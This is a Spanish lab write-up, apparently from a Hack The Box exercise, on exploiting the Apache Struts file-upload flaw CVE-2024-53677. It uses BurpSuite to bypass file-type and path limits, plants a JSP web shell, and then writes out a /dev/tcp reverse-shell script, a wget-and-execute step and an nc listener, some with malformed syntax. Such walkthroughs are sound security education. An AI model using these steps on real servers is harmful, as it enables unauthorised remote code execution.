
Explotación de Apache Struts CVE-2024-53677
CVE-2024-53677 es una vulnerabilidad que afecta a Apache Struts desde la versión 2.0.0 hasta antes de la 6.4.0. ⚠️ Esta fue explotada en un laboratorio de Hack The Box.
La lógica de subida de archivos en Apache Struts es defectuosa. Un atacante puede manipular los parámetros de subida de archivos para permitir el path traversal y, bajo ciertas circunstancias, esto puede llevar a subir un archivo malicioso que puede ser utilizado para ejecutar código remoto. 🔗 Referencia: NIST NVD Entry
pom.xml expuesto reveló Apache Struts 6.3.0.1📸 Exposición de pom.xml:

Para explotar esta vulnerabilidad utilizamos BurpSuite y su funcionalidad Repeater para modificar los paquetes antes de enviarlos. A continuación tenemos una solicitud sin editar.
Nuestros problemas son que el sitio bloquea los tipos de archivos que no sean [JPG, JPEG, PNG, GIF] y cualquier cosa en el directorio /uploads No es Ejecutable. Para solucionar estos problemas, primero agregaremos otro parámetro.
Después de agregar el parámetro modificado, la respuesta del servidor confirma que el archivo se subió correctamente. Sin embargo, notamos que la ruta del archivo difiere del directorio de subida habitual.
A continuación, incrustamos el payload añadiéndolo directamente debajo de los datos de la imagen y justo antes de nuestros parámetros inyectados. El payload del shell se puede obtener de 🔗 Referencia: shell.jsp Además, un detalle crucial es que la solicitud requiere "Upload" con U mayúscula en lugar de upload en minúscula. Esto sigue la estructura del exploit observada en: 🔗 Referencia: exploit.py
Con estas modificaciones implementadas, enviamos la solicitud. El servidor responde de manera similar, confirmando una subida exitosa y reflejando la ruta de archivo ajustada.
Ahora, navegando a la siguiente URL, podemos interactuar con nuestro shell subido.
ip/shelll.jsp?action=cmd&cmd=id
En esta etapa, podemos establecer una reverse shell usando un servidor web alojado localmente. Una forma sencilla de lograr esto es con Python: python3 http.server -m 3004
A continuación, crea un script de shell básico (por ejemplo, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
Usa wget para descargarlo wget http://ip_address/filename -O /tmp
Después de descargar, otorga permisos de ejecución chmod +777 /tmp/filename
y luego usa nc (netcat) para escuchar la reverse shell. nc -lvnp $PORT
Finalmente ejecuta ./filename